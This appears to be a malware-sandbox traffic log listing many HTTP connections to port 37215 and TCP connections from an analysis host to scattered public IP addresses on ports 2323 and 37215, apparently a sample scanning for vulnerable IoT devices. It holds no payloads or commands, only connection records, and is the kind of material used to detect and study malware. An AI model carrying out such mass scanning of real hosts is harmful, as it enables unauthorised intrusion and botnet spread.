Source: unknown	Network traffic detected: HTTP traffic on port 57158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32792 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 1.12.84.67:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 184.146.6.31:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 2.242.225.206:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 124.199.53.187:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 42.44.11.242:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 173.123.4.216:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 98.140.174.214:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 176.239.168.154:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 123.238.12.9:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 211.187.163.172:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 40.29.69.57:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 111.189.209.189:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 204.135.188.133:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 159.80.6.162:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 163.83.133.73:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 59.72.168.138:2323
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.127.15.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.201.202.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.4.84.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.118.32.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.43.82.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.152.148.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.74.243.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.178.245.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.91.171.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.218.80.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.65.19.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.74.114.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.1.26.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.106.166.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.34.76.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.158.151.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.21.7.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.175.54.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.147.132.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.31.149.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.233.248.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.191.196.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.108.194.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.127.161.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.204.27.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.130.214.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.179.185.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.183.22.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.254.17.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.213.145.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.103.148.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.210.242.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.1.250.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.135.37.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.22.109.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.10.11.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.108.23.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.204.14.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.156.27.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.226.142.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.3.134.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.5.106.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.236.104.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.32.248.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.115.20.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.166.36.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.219.228.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.197.2.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.137.102.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.127.70.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.53.63.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.211.76.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.4.6.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.37.247.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.120.114.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.66.38.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.104.189.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.208.203.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.3.79.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.170.70.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.221.255.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.56.65.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.95.41.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.68.52.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.217.7.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.27.247.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.12.251.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.45.242.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.7.160.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.106.89.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.156.70.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.243.181.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.205.29.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.178.4.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.28.107.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.227.68.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.215.234.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.157.41.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.74.107.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.226.57.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.236.57.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.122.194.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.172.150.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.163.33.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.225.156.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.197.53.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.78.250.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.20.124.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.31.230.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.117.220.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.61.175.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.111.125.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.246.61.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.147.112.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.221.66.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.140.71.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.176.255.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.246.166.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.241.168.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.21.107.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.83.90.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.158.29.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.163.133.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.252.145.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.93.99.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.253.117.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.154.200.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.150.8.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.224.87.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.246.219.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.243.10.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.194.161.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.251.254.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.100.58.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.91.188.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.19.217.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.93.27.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.178.227.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.187.1.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.18.15.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.225.171.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.81.39.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.29.35.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.201.134.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.187.67.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.22.164.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.141.170.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.47.138.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.53.18.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.47.73.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.129.68.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.91.20.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.76.218.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.184.33.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.221.110.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.9.116.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.22.80.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.197.181.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.171.75.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.31.154.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.194.225.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.141.175.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.163.205.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.88.60.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.72.242.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.113.183.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.153.138.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.101.142.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.179.50.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.99.83.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.183.212.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.7.6.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.92.251.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.41.17.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.47.45.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.191.179.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.186.69.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.250.107.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.19.105.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.53.247.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.233.241.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.36.137.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.20.17.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.192.83.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.105.148.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.217.153.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.146.115.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.232.152.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.52.246.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.168.30.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.170.219.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.115.233.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.255.233.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.170.228.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.63.131.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.70.142.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.160.136.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.163.97.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.69.217.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.227.204.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.161.115.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.62.171.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.115.87.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.237.82.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.9.123.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.193.122.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.51.211.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.18.74.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.29.158.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.54.205.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.148.99.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.26.18.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.122.28.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.35.224.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.15.89.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.43.89.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.50.150.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.102.183.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.87.37.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.33.248.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.183.156.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.252.165.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.20.123.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.186.99.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.190.222.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.148.217.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.11.47.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.196.118.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.140.153.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.194.119.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.103.215.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.204.10.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.93.29.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.231.86.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.248.31.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.124.145.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.80.213.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.5.159.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.114.122.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.35.97.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.245.240.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.200.196.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.100.45.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.243.131.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.211.2.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.20.32.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.61.143.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.104.14.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.249.32.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.104.202.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.14.235.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.13.155.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.176.112.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.123.181.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.201.92.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.113.208.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.119.127.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.53.155.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.125.20.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.56.85.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.143.49.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.203.94.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.13.55.125:37215
